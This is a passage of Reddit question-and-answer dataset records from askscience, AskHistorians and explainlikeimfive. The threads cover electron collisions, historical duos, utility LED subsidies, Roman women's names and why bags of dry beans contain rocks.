since it's starting bread and wine, so they say the body and blood are present \"in, with, and under\" the bread and wine.  Though the beliefs are different, both are chalking it up to divine mystery at the end of the day.\n\nObviously there is always tons of depth beyond my very reduced descriptions.  There's tons of materials online that compare and contrast, but I think you'd have a lot more success speaking with a pastor/priest on each side because they're going to add a lot of color most internet commenters fail to acknowledge."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "74jo7u", "title": "[Physics] If 2 electrons collide, they may release a photon. Where does that energy come from?", "selftext": "Full disclosure: I know **nothing**, Jon Snow. If this question is nonsensical or too ambiguous, please let me know.\n\nI am currently reading [\"Hidden in Plain Sight\"](_URL_0_). In one of its chapters, the author mentions that when 2 electrons collide, there is a chance that a photon is radiated.\n\nNow, as I understand it, energy cannot be created or destroyed. Photons most certainly contain energy -- so in this case, where does the energy (expressed \"in\" the photon) come from?\n\nMy train of thought is as follows:\n\n* Did the electrons lose mass...?\n\n* Did the electrons lose some \"kinetic energy\"? (Aren't they always moving at lightspeed though?)\n\n* Did the electrons lose temperature? (Do electrons *even have* temperature?)\n\nWhat am I missing?\n\nThanks in advance.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/74jo7u/physics_if_2_electrons_collide_they_may_release_a/", "answers": {"a_id": ["dnytc0s"], "score": [38], "text": [" > Did the electrons lose mass...?\n\nNo.\n\n > Did the electrons lose some \"kinetic energy\"?\n\nYes.\n\n > (Aren't they always moving at lightspeed though?)\n\nElectrons never move at c, because they have mass.\n\n > Did the electrons lose temperature? (Do electrons even have temperature?)\n\nTwo lone electrons colliding in space don't have a meaningful temperature. If you have a gas of many electrons (approximately) at thermal equilibrium, you can talk about a temperature."]}, "title_urls": [], "selftext_urls": ["https://www.goodreads.com/book/show/18816611-hidden-in-plain-sight"], "answers_urls": [[]]}
{"q_id": "a0va59", "title": "Tuesday Trivia: Iconic Duos of History! This thread has relaxed standards and is open to all to contribute.", "selftext": "The [Remembrance Day Amateur AMA](_URL_0_) was a huge success, and we\u2019d like to give the same shot to people interested in other things! If you are:\n\n* a long-time reader, lurker, or inquirer who has always felt too nervous to contribute an answer\n* new to /r/AskHistorians and getting a feel for the community\n* polishing up a flair application\n* one of our amazing flairs\n\nthis thread is for you ALL!\n\nDon't just write a phrase or a sentence\u2014explain the thing, get us interested in it! Include sources especially if you think other people might be interested in them.\n\nAll other rules still apply\u2014no bigotry, current events, and so forth.\n\n**For this round, let\u2019s get started with Iconic Duos of History!**\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a0va59/tuesday_trivia_iconic_duos_of_history_this_thread/", "answers": {"a_id": ["eakx4td", "eal2e1d", "eal2i97", "eal8t49", "ealjuzi", "ealo46k"], "score": [18, 20, 13, 15, 8, 7], "text": ["Indo-European mythology is positively replete with the \"sacred twin\" trope.  It is seen in Romulus and Remus and Tacitus makes not of Germanic worship of two twin deities that he compares to Castor and Pollux.  These figures are also often commonly associated with horses, see J.P. Mallory's *In Search of the Indo-Europeans*.\n\nIn Anglo-Saxon England, there are the famous figures of Horsa and Hengist (meaning roughly Horse and Stallion) who were supposedly the leaders of the Anglo-Saxon invasion of England, according to Bede.  These two brothers were supposedly the ring leaders of the Anglo-Saxon migration to England.  Where once having reached the island they eventually set about carving out their own realms in Britain.  Hengist and Horsa were both credited with having founded the Kingdom of Kent in south eastern England.\n\nInterestingly, they are also found in other sources besides just Bede.  Hengist is mentioned in Beowulf as a leader of the Frisians iirc, though his counter part is absent. \n\nWhile these figures are unlikely to have ever actually existed as war band leaders, and the whole debate around the Anglo-Saxon migration to England is very fraught with debate, these two figures are one of the many iconic duos of the Middle Ages. \n", "I love the story of Isaac Newton and Gottfried Leibniz and their historic duel over who invented calculus. They both, independently, developed the fundamental concepts of calculus: infinitesimals, integration, and derivatives. \n\nIsaac Newton indisputably invented it first. But, he was a weird dude. He hoarded knowledge like a dragon hordes gold. He didn't share his contributions for two reasons. First, he wanted to keep his sacred knowledge to himself. Two, he was cripplingly afraid of receiving criticism, so he tended to keep things close until years and, sometimes decades, of refinement. \n\nLeibniz, on the other hand, went out of his way to promote his candidacy for father of calculus. He published his framework of calculus before Newton. In fact, it was only after Leibniz published his work and might have made a name for himself as the discoverer of calculus that Newton came forward with his own notes, proofs, and documents showing he, in fact, discovered it first.\n\nThus set off a feud of epic proportions between these two giants of mathematics. It got so bad that Leibniz appealed to the Royal Society to declare in his favor once and for all. But the Royal Society, *which was headed by Newton,* declared in Newton's favor!\n\nIt should be noted, and history has come to view it as such, that Leibniz did at least as much for calculus as Newton. His was the one that took off and was popularized. The concepts and framework of calculus we learn in school and use daily as scientists and engineers come from Leibniz's formulation, not Newton's. And it was he, not Newton, that published it as such and popularized it so that others could build off of it. Newton, an indisputable genius, possibly the smartest man to have ever existed, did it in his typically Newton way, comprehensible only to his unique mind.\n\nIf you are interested in this in more depth and to Isaac Newton more generally (a ridiculously fascinating man), I cannot recommend enough Edward Dolnick's \"The Clockwork Universe: Isaac Newton, the Royal Society, and the Birth of the Modern World\"", "Duos are hard to talk about in the context of the later Qing Dynasty. In an autocratic state with clearly stratified bureaucratic hierarchies, well-recorded instances of outright equal partnership are hard to come by. In the Taiping period, for example, neither Li Xiucheng and Chen Yucheng (Taiping) nor Zeng Guofan and Li Hongzhang (loyalist) cooperated very actively; perhaps it would usually be better to talk of dualities as opposed to partners in crime - Hong Xiuquan and the Xianfeng Emperor, Charles Elliot and Lin Zexu (and later Kishan), etc.\n\nOh wait. There is one particularly infamous duo we can talk about, and that's because they were neither Chinese nor officials. William Jardine and James Matheson. The first of those names should sound familiar to anyone who's spent more than 24 hours on Hong Kong Island, with sites like Jardine House, Jardine's Lookout, Jardine's Bazaar etc. named after him. Matheson, sadly, has got the short end of the stick, although there is a Matheson Street in Causeway Bay.\n\nJardine Matheson and Co. ended up being the largest Western trading firm in southern China by a long shot, and their involvement in the opium trade in particular is, well, shall we say... *well-documented*. Both Scotsmen, Jardine had been a doctor before changing careers, Matheson was a trader all along, and the two began a partnership in the 'country trade' between India and China in 1820 after a chance meeting in Mumbai.  Eternal agitators in the 'free trade' camp, they were part of the general move to abolish the East India Company's monopoly on trade with China in 1833, and as fellow Scotsmen were able to gain the ear of Lord Napier, the first Superintendent of Trade, and get him to take a hardline stance towards the Chinese authorities in Guangdong the next year. This backfired, of course, but few consequences were suffered. 1838 saw Jardine retire back to the UK, whilst Matheson stayed behind. This proved most fortuitous in 1838, when Imperial Commissioner Lin Zexu was dispatched to suppress the opium trade at Canton and threatened the leading opium smuggler with arrest. As Jardine Matheson and Co. was colloquially only known by the first part of its name, Matheson avoided any serious consequence and it would be the proprietor of the #2 firm in the opium business, one Lancelot Dent, who would be taken in for questioning.\n\nWith Matheson in China, Jardine was one of the main lobbyists for war back in Britain, and, just as he had gained the ear of Lord Napier, he also got into favour with the foreign secretary, Lord Palmerston. Jardine's suggestions about the viability of war and the potential aims thereof are eerily echoed in the actual activities of both Lord Melbourne's Whig government and Sir Robert Peel's Tory cabinet regarding China in the conflict that ensued. One interesting note is that Jardine successfully convinced Palmerston that Britain should *not* make the forced legalisation of opium in China one of its war aims. The position in favour of such action was already quite an unpopular one; and moreover Jardine and Matheson had so streamlined the process of smuggling opium that their existing infrastructure and business model were optimised for it, and so a transition to legitimate trade might have been a serious threat to their competitive edge. \n\nUltimately, Britain did win the war. Jardine Matheson set up shop in Hong Kong, and their presence can still be felt in many places on the island. The current HQ at Jardine House, with its distinctive circular windows, was once the tallest building on the waterfront. A company employee operates the Noonday Gun at the Causeway Bay Typhoon Shelter, which fires a single blank every day at 12 p.m. To say anything of the history of Hong Kong without accounting for the firm that this duo set up is virtually impossible. Is this necessarily a good thing? Well...\n\nWhilst there are histories of Jardine Matheson and Co. as a whole, for an accessible book which covers their pre-Opium War activities see Stephen Platt, *Imperial Twilight* (2018).\n\nAdditionally, a couple of other bits of trivia relevant to Jardine and Matheson but not so much to duos (unless you count two people doing the same sort of thing or even just interacting as a duo):\n\n* At the time of the General Election of 1832 (the first after the passing of the Great Reform Act), UK constituencies generally returned two MPs to the Commons. Lord Palmerston would end up being elected MP for Hampshire South alongside the younger George Leonard Staunton, the former *taipan* for the East India Company at Canton (and hence in direct opposition to Jardine and Matheson). As a boy, Staunton had learned Chinese, presumably Mandarin, while accompanying his father on the ill-fated Macartney mission, one of the few real highlights of which was his briefly conversing with the Qianlong Emperor during the audience at Jehol.\n\n* Lord Melbourne's cabinet did not consist only of himself and Lord Palmerston. The Secretary at War during the Whig phase of the Opium War was a certain Thomas Babington Macaulay (better known as the author of *The History of England* and probably one of the most notable popular historians ever to write in the English language).", "One duo I love from fashion history is quite obscure: the Bou\u00e9 sisters (Bou\u00e9 Soeurs), Sylvie Montegut and Jeanne d\u2019Etreillis. Their trademark was the use of light and airy fabrics, particularly sheer chiffons, mousselines de soie, and lace, and embellishment with ribbons and silk flowers. While they were active from 1899 to the 1930s, hardly anyone has heard of them today. (Few extant garments from their early years survive, so the two are associated more strongly with the 1920s.) They attempted to reopen after World War II, but closed in the early 1950s.\n\nI have never been able to find out much about them in either primary or secondary sources. In an article she wrote for *Arts  &  Decoration* in 1922, Jeanne stated that the sisters had begun to sew clothing for their dolls at a young age, and then progressed to making dresses for themselves. They opened their house at 9 Rue de la Paix when they were about eighteen, and by 1902 they could be listed alongside established greats such as Worth, Doeuillet, Redfern, and Lacroix. Most of their extant pieces, however, date to after 1914, when they opened a branch at 13 W56th St. in New York. According to Jeanne, they met immediately with success there - despite a mild scandal in 1915, in which the sisters illegally imported some of their French workers, who in turn illegally brought over couture gowns and declared them at customs as their own property. A year later, they brought their own case to court, prosecuting Hickson Incorporated, who bought one of their outfits and was promising to sell copies of it: a common problem for couture houses at the time. Apart from this, I've found a number of their pieces in the Metropolitan Museum of Art, and some fashion plates in French publications, but there has been very little research done on them as a business. (You can see some examples of each on my blog [here](_URL_0_), which I've cribbed from shamelessly for this post.)", "Zoroastrianism, as is probably familliar, was probably founded by the prophet Zarathustra, some time in the 1300:s BC or so. The only records that survive from this time are the _Gathas_, the seventeen great hymns of Zarathustra. They are incredibly obscure and difficult to read, but within them we find a few mentions of perhaps the second most significant character in the early history of the tradition - Zarathustra's great patron Vishtaspa. Yasna 12, a creed with its roots probably in the time immediately following Zarathustra's death, obliges the convert to recite, among other things:\n\n > As the belief of the waters, the belief of the plants, the belief of the well-made (Original) Cow; as the belief of Ahura Mazda who created the cow and the Asha-endowed Man; as the belief of Zarathushtra, **the belief of Kavi Vishtaspa,**\n\nIndeed, Zarathustra's lament in Yasna 46 takes a turn in verse 14:\n\n > 1. To what land shall I go to flee, whither to flee? From nobles and from my peers they sever me, nor are the people pleased with me [......], nor the Liar rulers of the land. How am I to please thee, Mazda Ahura?\n\n > ...\n\n > 14. O Zarathushtra, what righteous man is thy friend for the great covenant? Who wills to have good fame? It is the Kava Vishtaspa at the consummation. Those whom thou wilt unite in one house with thee, these will I call with words of Good Thought.\n\nBut Vishtaspa is a terribly obscure character in the early material, mentioned only three or four times. \"Kava\" or \"Kavi\" is a title that according to Boyce suggests training in the mantric tradition (hence, a cleric of some sort); others suggest a translation along the lines of \"prince\". Later tradition holds that he was a king; it appears by Yasna 46 that Vishtaspa must have been a nobleman, chieftain or in some other position of tribal power to protect Zarathustra; this need not be exclusive with being a cleric, of course. Later references to him as \"king\" reflects perhaps shifting social structures and understandings of the roles of priests, warriors and kings.\n\nThe most extensive treatment of Vishtaspa in Avestan is found in the [Vistasp Yasht](_URL_1_) (Hymn to Vishtaspa). It begins with a long series of blessings given by Zarathustra to Vishtaspa that go on for some dozen verses along the lines of:\n\n > 'Give him strength and victory! Give him welfare in cattle and bread!' thus said Zarathushtra to the young king Vishtaspa! 'Give him a great number of male children, praisers [of God] and chiefs in assemblies, who smite and are not smitten, who smite at one stroke their enemies, who smite at one stroke their foes, ever in joy and ready to help.\n\nThe middle portion presents Zarathustra as the mentor of young Vishtaspa, teaching him the ways of spirituality:\n\n > Zarathushtra said: 'O young king Vishtaspa! Invoke Ahura Mazda, who is full of Glory, Ahura Mazda, and the sovereign Heaven, the boundless Time, and Vayu who works highly.\n > 'Invoke the powerful Wind, made by Mazda, and Fate.\n > 'Repeat thou those words, that the god invoked may give thee the boon wished for; that thou, strong, and belonging to the creation of the good Spirit, mayest smite and take away the Druj and watch with full success those who hate thee; smite down thy foes, and destroy at one stroke thy adversaries, thy enemies, and those who hate thee.\n\nAnd alludes to Vishtaspa as an ideal ruler to be emulated (the difficulty of translating even younger Avestan texts is evident in the first line):\n\n > 'He wields his power according to the wish of Ahura Mazda, the Good Spirit, and for the destruction of the Evil Spirit, whichever of two men goes quicker to perform a sacrifice (to Ahura); but if he chooses to perform the sacrifice and prayer to us not in the right way, he does not wield the right power, he will not reign.\n\n > 'He will receive bad treatment in the next world, though he has been the sovereign of a country, with good horses to ride and good chariots to drive. Give royalty to that man, O Zarathushtra! who gives royalty unto thee with good will.\n\nThere is a classic moral to the story here, of course - one may be wealthy on Earth, but poor in spirit, and that will be reflected in the world after death. Indeed, even a king is obliged to perform the correct rites to maintain purity and keep away the forces of evil. It seems to end on a rhetorical note:\n\n > Spitama Zarathushtra said to the young king Vishtaspa: \"To what land shall I turn, O Ahura Mazda? To whom shall I go with praying?'\n\nHowever, its 60-odd verses are not an easy or very coherent read, and it appears that various fragments and words of wisdom that are only tangentially related have been inserted at the end, with the above-quoted line inserted to tie it all together.\n\nWhile generally taken to have been a historical person, there is not much we can learn about Vishtaspa. The later Avestan material almost seems to invert the relationship between the duo, where Zarathustra's teaching of Vishtaspa takes precedence over Vishtaspa's protection of Zarathustra. The young king comes to take on several roles - one as a role-model for rulers, and another as a pious man who listened to the teachings of the clergy. Vishtaspa sometimes almost functions like the narrative device of an audience substitute - while a prince, he is someone to whom the average Zoroastrian could put themselves in the shoes of, the first who received the education in the Good Religion that would be passed on through the priesthood and (at least in theory) taught to lay members.\n\nIn this way, he plays an invaluable role in the tradition, in bringing the incredibly exalted Zarathustra closer to the believer.\n\nSources and further reading:\n\n[Encyclopedia Iranica entry](_URL_0_)\n\n_Zoroastrians: Their Religious Beliefs and Practices_ by Mary Boyce (1979)\n\n[Vishtasp Yasht](_URL_1_)\n\nVarious chapters in _Wiley-Blackwell Companion to Zoroastrianism_ (2015)", "(1/2)\n\n**An Englishman and a Boy**\n\nIn 1693 there was an account published by a ship's mate named Robert Lyde explaining in extraordinarily graphic detail how after being captured by French privateers in 1692, he, along with a 16-year-old junior sailor, retook the ship through mutiny, killing two of their 7 captors with a crowbar, a marlin-spike and a knife, and badly wounding two others who later died, before taking the rest prisoner. \n\nRobert Lyde was 23 years old in 1692 and this took place during the Nine Years' War (1688-1697) between England and France. Three years earlier, in 1689, Lyde had been captured by French privateers and taken as a prisoner to France where he was held at the port of Dinan for four months as a POW with other English sailors, during which time he says he endured extreme deprivation and starvation that he compares to slavery by the \"Turks\" in North Africa. He says most of his shipmates died from disease or malnutrition and only 200 of 600 prisoners were eventually exchanged. Lyde says it took him 14 weeks or three and a half months to recover basic strength after returning to England. While held in these terrible conditions, the English prisoners were offered the chance to enlist in French service as privateers against England which Lyde says he saw 17 of them agree to do and they were kept in a separate room. Lyde was not one of these and his account displays extreme English nationalism and Protestantism that might explain it. His time as a POW seems to have made a big impact on him and throughout his account he refers back to it bitterly (in one place entertaining a revenge fantasy that he would like to do to French prisoners what they did to him). After returning to England, he resolved never be held prisoner in France again. \n\nIn September 1691, after having fully recovered, Lyde signed on as a mate for a small trading voyage to Oporto in Portugal. While returning to England on February 29, 1692, they sighted a much larger French privateer and had no choice but to surrender since they only had 8 crew. Throughout the voyage Lyde had told the captain that if they were captured by the French he would try to retake the ship so as not to be a prisoner in France again. As the French privateer now approached, Lyde got a blunderbuss and hid it in the hold by some wine barrels. His captain was understandably very pessimistic that this would work and told Lyde it was an \"impossible thing to be done.\" Lyde allegedly replied: \"Although it seems to you to be so; yet nothing is impossible to be effected by God, in whom I put my trust.\" \n\nThe French privateers then searched the ship and the captain gave them his money purse. The privateers then took 6 of the Englishmen including the captain into their ship and put 7 of their own men on the English ship along with Lyde and a 16-year-old boy named John Wright. After the French ship had gone out of sight, Lyde offered to bring up a barrel of wine in hopes of getting the Frenchmen drunk. He did this but none of them ever drank much. For the next several days Lyde brooded about how to retake the ship and tried repeatedly to convince the boy to help him, telling him what terrible things awaited as a prisoner in France, but the boy was scared at being so badly outnumbered and refused. Lyde and the boy were often told by the Frenchmen to help man the ship and especially to help pump water out of the hold because the ship was leaky, but Lyde says he usually refused unless he felt like it. Lyde's plans to retake the ship with his hidden blunderbuss didn't work out as the Frenchmen found it and kept it in the cabin. On March 4, Lyde tried again to convince the boy to join him in mutinying while two of the Frenchmen were working the pumps but the boy still refused. Then Lyde began sharpening his knife and said he wouldn\u2019t use it again until he had cut the Frenchmen's throats which scared the boy so that he went away:\n\n >  Then I took a brick and whetted my knife upon it; and told the boy, \"I would not use my knife, upon any account, till I was carried into France; except it were to cut the throats of the Frenchmen.\"\n\n >  At which words, the boy startled as if his own throat had been cutting; and then left me, and went up on deck. \n\nBy this time the ship was close to the French coast and the crew fired a blank shot as a signal for another ship to come guide them. When Lyde came on deck after this he found the Frenchmen \"as joyful as I was melancholy.\" Then he was overcome with something like a PTSD flashback and remembered his former time as a POW:\n\n >  Then considering the inhuman usage I had formerly had in France, and how near I was to it again; it struck me with such terror that I could stay no longer upon deck: but went down betwixt decks, and prayed to God for a southerly wind, to prevent her going into that harbour; ... \n\nThe wind did turn south and ship was not able to enter the harbor. That night and the next morning (March 5) the wind drew them further from France and the French port. At noon, Lyde was called up to man the pumps (which he had often refused), but they yelled at him several times and he finally went up only to tell them he had been a prisoner in France already and if he was taken there again \"I should serve three years.\" The French captain sarcastically replied \"That is bien\" and Lyde then said he had nothing to lose and if they tried to force him instead of manning the pumps then the ship would sink. \n\nThat night Lyde didn't sleep much as he stayed up trying to persuade the boy to join him in retaking the ship which the boy still refused. When he did sleep a little, Lyde says he dreamed that he was attacking the Frenchmen, \"For sleeping or waking, my mind ran still upon the attacking of them.\" At 7:00 AM the next morning (March 6), Lyde sent the boy up on deck to check the direction of the wind and he reported it was still in the direction of England. Lyde then continued unsuccessfully trying to convince the boy the join him in attacking the Frenchmen before deciding to do it himself if he had to. At 8:00 AM he took a drink of wine and went on deck where he saw the Frenchmen eating breakfast around the cabin table and they invited him to join them. Lyde accepted but immediately became very nervous from adrenaline and made an excuse to go back below saying he was sick:\n\n >  At eight in the morning, all the Frenchmen sat round the cabin table at breakfast, and they called me to eat with them. Accordingly I accepted their invitation, but the sight of the Frenchmen did immediately take away my stomach and made me sweat as if I had been in a stove, and was ready to faint with eagerness to encounter them. Which the Master perceiving, and seeing me in that condition, asked me in French, \"If I was sick?\" and because he should not mistrust anything, I answered \"Yes.\" But could stay no longer in sight of them, and so immediately went down betwixt decks, to the boy; ...\n\nLyde then tried *again* to convince the reluctant boy to help him attack the Frenchmen while they ate breakfast and detailed a plan of attack, but the boy still refused and Lyde had second thoughts about attempting it himself. Soon the Frenchmen finished breakfast and Lyde berated the boy for not agreeing to help him, saying by this time they would have had the ship under their control, but the boy replied that actually they would have both been killed. At 8:30 AM two of the Frenchmen went on deck to pump water (they had a man keeping time with an hour glass and every half hour they had to pump water from the leaky ship). Lyde checked that the wind was still toward England and then again tried to convince the boy to join him, telling him again of his miserable conditions as a prisoner in France. The boy at last said that if it was really so bad in France then he would join the French as a privateer, which made Lyde quite angry:\n\n >  These words of his struck me to the heart, which made me say, \"You dog! what! will you go with them against your King, and country, and father and mother? Sirrah! I was in France, a prisoner four months, and my tongue cannot express what I endured there; yet I would not turn a Papist and go with them! Yet they came daily persuading me and others to go out; and, the time I was there, I think 17 turned Papists, and were kept in a room by themselves; but God was pleased to make an example of them; for I think 12 of them died while I was there. And if thou dost turn Papist, thou mayest fare as they did! and if thou, or any of them that be turned, be ever taken again, you will certainly be hanged in England by the law! But I had the command of a Privateer, and should take my brother in a French Privateer, after he had willingly sailed with them, I would hang him immediately!\""]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/comments/9w2ywz/today_is_november_11_remembrance_day_join/"], "answers_urls": [[], [], [], ["https://www.mimicofmodes.com/2011/12/boue-soeurs.html"], ["http://www.iranicaonline.org/articles/gostasp", "http://www.avesta.org/fragment/vytsbe.htm"], []]}
{"q_id": "7v8xb7", "title": "why do electric utility companies (in the us) subsidize the cost of led light bulbs?", "selftext": "In many places in the US, you can buy LED light bulbs for rather cheap. They are heavily discounted over their actual price because the local electric utility subsidizes the cost. Sometimes you'll see signage on the shelves mentioning this.\n\nWhat is their incentive in doing this? It seems counter intuitive, since using these bulbs means you are going to be buying less electricity from them than if you used incandescents (or even CFLs).", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7v8xb7/eli5_why_do_electric_utility_companies_in_the_us/", "answers": {"a_id": ["dtqdiny", "dtqdsy8", "dtqho0o", "dtqjwna"], "score": [9, 4, 19, 3], "text": ["Because many of these utilities are not run for profit as they are city government utilities. They want people to use less electricity.", "LED bulbs reduce the load on the electric grid, subsidizing LED bulbs encourages people to buy them which speeds up the reduction of lighting load on the electric grid.\n\nThey do their best to generate electricity in the most efficient way possible.  There are tiers of power plants where you've got the cheap efficient ones on the bottom, and the expensive on demand ones higher up.\n\nIf they can reduce the demand on the grid then they can avoid running the less cost effective ones which improves their profit/kWh.  If they can reduce the load enough they may even be able to decommission some old expensive power plants that they don't need, rather than having to keep them on standby at 10% capacity.\n\nSolar, wind, oil, gas, coal, and nuclear all have different prices per kWh of power produced.  All require maintenance, generally proportional to the hours of operation, all require some form of staffing, and the fossil fuel ones all run off of different fuels which generate a different amount of kWh/$", "(I work for a private regulated monopoly utility company)\n\nSo being a monopoly power provider has many obvious benefits.  You don't have competition, and basically as long as there are people, you'll have customers.\n\nThe reason the government sets up these situations is that they believe that it is cheaper to grant monopolies to companies in areas and regulate them heavily, than it is to have competition, considering the infrastructure (power lines) that would be required.  This isn't done everywhere, so there can be arguments against it, but it's not a completely unreasonable idea.\n\nBut there has to be downsides.  In many cases the utility companies are actually restricted in how much profit they can make, and they also are limited in how much they can raise prices, in some cases requiring state governmental permissions.\n\nAlso, they have an obligation to provide enough power for anyone.  If apples makes 2 million iPhone X, but 3 million people want them, oh well.  Or they can just raise the prices until they line up.  Not with power in these cases.  They**must** provide power to all our customers, at all our levels.  If it gets hot they must provide more power for more air conditioning.  If more people move in they must generate enough power for everyone.\n\nBut opening a new power plant is not normally profitable.  So these companies instead spend a little bit of money giving out cheaper light bulbs, which lowers the demand they have.  In addition it creates good press, which is helpful if they later have to go to state governments and ask for rates to be increased for whatever reason.\n\nSo even if you don't think highly of these companies there are good buisness reasons to do this, and also good PR reasons, and customers do benefit from them.", "The incentive is to reduce power consumption.  You may think this seems odd, as they get paid more for more consumption, but they also have to build more capacity for more consumption.  That requires them to spend huge sums of money to build new plants, and hope they get paid back in the future. If consumption grows more slowly, their businesses are less risky and they have better chances of making money.  Lights are a huge problem, because people turn them off and on at the same times.  That's something that has a big impact on the peak demand, without a corresponding guarantee of long-term consumption to pay for the power plants. Not good for the power producer.\n\nAlso, the distribution company needs bigger wires to your development, and that's going to take them ages to get paid back for.  Same sort of situation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "e36rl3", "title": "Julia, a young Roman woman from the Julius family, is going with her sister Julia to hang out with their cousin Julia, and her two sisters, Julia and Julia. Her uncle Publius' daughter, Julia, may join as well. How do they call each other when they all meet?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e36rl3/julia_a_young_roman_woman_from_the_julius_family/", "answers": {"a_id": ["f91s301", "f91sh0j"], "score": [3175, 178], "text": ["Please indulge me, in my tryptophan-induced daze, as I very briefly review the essentials of Roman nomenclature. During the late Republic and early Empire, male Roman citizens typically (but by no means always) had three names - a praenomen (personal name), nomen (clan name), and cognomen (family name). So in the name Gaius Julius Caesar, Gaius is the praenomen, Julius the nomen, and Caesar the cognomen. Roman women in the same period generally had to make do with a single name, the feminine form of their father's nomen. Thus, Gaius Julius Caesar's daughter was named Julia, as was every other female representative of the Julian clan. Whence this interesting question.\n\nPublicly, women were often distinguished by the names of their fathers or husbands. If a certain Julia, for example, was married to a member of the Metellus family, she might be known as Julia Metelli (Metellus' Julia). Alternatively, she might be differentiated from her younger sister by being called Julia Maior (Julia the elder) or Julia Prima (First Julia). Her sister, accordingly, would be Julia Minor (Julia the younger) or Julia Secunda (Julia no. 2).\n\nBut those conventions were designed for public contexts. In private, closely-related women with the same name probably referred to one another by nicknames. On the basis of our sparse evidence, affectionate terms like Livilla (Lil' Livia) or Julitta (Little Julia) seem to have been common. Family members might call a beautiful girl or woman \"Venus\" (e.g. Sen., *Apocl*. 8), or a musically-talented lady \"Musa\" (muse). Other nicknames, we may safely assume, were equally descriptive and less flattering. \n\nRelatives who did not know each other well may have sidestepped the whole name issue by referring to one another as \"sister\" or \"dearest soul,\" as in the famous [letter of Claudia Severa](_URL_0_) from the Roman fort at Vindolanda.", "They likely aren't going to all go by Julia alone. Female naming conventions shift and change throughout the centuries of Rome, and there is the issue of the scant amount of data for female names when compared to male, but for the moment, let's look at an early Imperial example. \n\nThe two daughters of Gaius Octavius (father of Augustus) were known as Octavia Maior and Octavia Minor. Often sisters had a nominal marker related to birth order to avoid confusion. (If not minor/maior, then secunda, tertia, etc)\n\nAnother example is found a little farther down the line. The daughter of Gaius Julius Caesar Octavianus (The emperor Augustus) was known as Julia Caesaris filia (Julia daughter of Caesar, also sometimes rendered Julia Augusti filia) and was married to Marcus Vipsanius Agrippa. They had two children, neither of whom were referred to as Vipsania as might be expected but rather Julia and Agrippina. Farther down, this Agrippina (known to history as 'the elder')had three daughters of her own with Germanicus Julius Caesar. These daughters, while all having Julia as part of their name, are not known (at least to history and likely to their contemporaries) as a series of Julias but rather as Agrippina ('the younger' to history), Drusilla, and Livilla. \n\nIt is unlikely that all of these women in your scenario would have all gone simply by Julia."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://research.britishmuseum.org/research/collection_online/collection_object_details.aspx?objectId=1362732&amp;page=2&amp;partId=1&amp;searchText=vindolanda%20Claudia%20Severa"], []]}
{"q_id": "he5ph", "title": "A few last-minute questions from the 6th graders!", "selftext": "There were a few students who were absent or didn't get a chance to put in their questions, and I want to make sure they have something to respond to today.  If anyone could chime in that would be great!\n\n\nI will be posting their responses either late tonight or sometime tomorrow.\n\nI have a lot I would like to say to the community (all positive!) but I'm going to hold off until I get the students' responses.\n\nIn short, thank you.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/he5ph/a_few_lastminute_questions_from_the_6th_graders/", "answers": {"a_id": ["c1up7zg", "c1up82h", "c1up85l", "c1up8pb", "c1upzfr"], "score": [12, 14, 10, 5, 9], "text": ["Is it possible to make rockets to other planets faster?\n\n-A.D.", "Is it possible to live without a heart?\n\n-J.D.", "What causes a sinus infection?\n\n-T.H.", "Why do we stick to the ground and not float off into space?\n\nC.P.", "More questions! Havent we done enough homework Ms. Christine!? We want responses from those cute smart kids. We demand it! Just kidding (but not really).\n\nAnd if I could make a request... could you post a class picture? A bunch of smiling 6th grade faces would be better payment than all of RobotRollCalls karma. (I understand if that isnt possible... just saying)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2ywftn", "title": "why people drink coffee after dinner?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ywftn/eli5_why_people_drink_coffee_after_dinner/", "answers": {"a_id": ["cpdk8ah"], "score": [6], "text": ["Its a social thing and a physical thing.  In many asian cultures they don't drink coffee or tea after their meal at all, they just start eating earlier.\n\nSo mentally take yourself back in time hundreds of years.  You are in Italy, and someone's grandmother made a ridiculous meal.  You have to eat it, and it's delicious so you are stuffed.  After eating you want to stay and be cordial and social.  So a little coffee helps.  If you pass out right after, you will get a stomach ache.  So the coffee helps you be a gracious guest or host and it helps your belly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "45lqzs", "title": "why do bags of dry beans have rocks in them?", "selftext": "Just ordinary bags of dry beans you get at a supermarket. They have rocks mixed in with the beans. Cheaper brands have more rocks, but I think all brands get a rock now and then.\n\nWhy do bags of beans have rocks?\n\nMore importantly, how do I separate the rocks other than pouring the beans out and physically picking the rocks out as I find them?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45lqzs/eli5why_do_bags_of_dry_beans_have_rocks_in_them/", "answers": {"a_id": ["czynr86", "czyntkh", "czynuc4", "czytsjc", "czyv6qg", "czyx53m", "czyy5ni", "czyygs5", "czz9bl1", "czzbzy4", "czzfdoj", "czzg8tf"], "score": [109, 15, 159, 8, 2, 2, 2, 17, 6, 4, 2, 2], "text": ["They are left over from the cleaning process. I dump what I'm going to use on a metal baking tray to separate them easier. You can hear them scratch the tray", "Rocks are denser than beans, you could try dumping them into water and adding salt until the beans float to the top", "The rocks are left over from the soil where the beans grew. Some get picked up in the harvesting process, and those with size and density similar to a bean are difficult to sort out automatically so some are accidentally left in.", "Most of the time, those are actually hard lumps of soil, rather than rocks. You'll see this if you soak the beans before you sort them, instead of rocks, there will be a layer of dirt at the bottom of the container.\n\nThe reason you get them though is due to the shape. A rock or ball of dirt can be too close to the shape of a bean to be able to easily separate them mechanically. ", "Sorting is kind of inevitable and the SOP on dry beans. \n\nThere is no getting around it if you don't want to smash a tooth.\n\nSometimes, it's not a rock though and instead just a very hard piece of soil or clay. So, washing 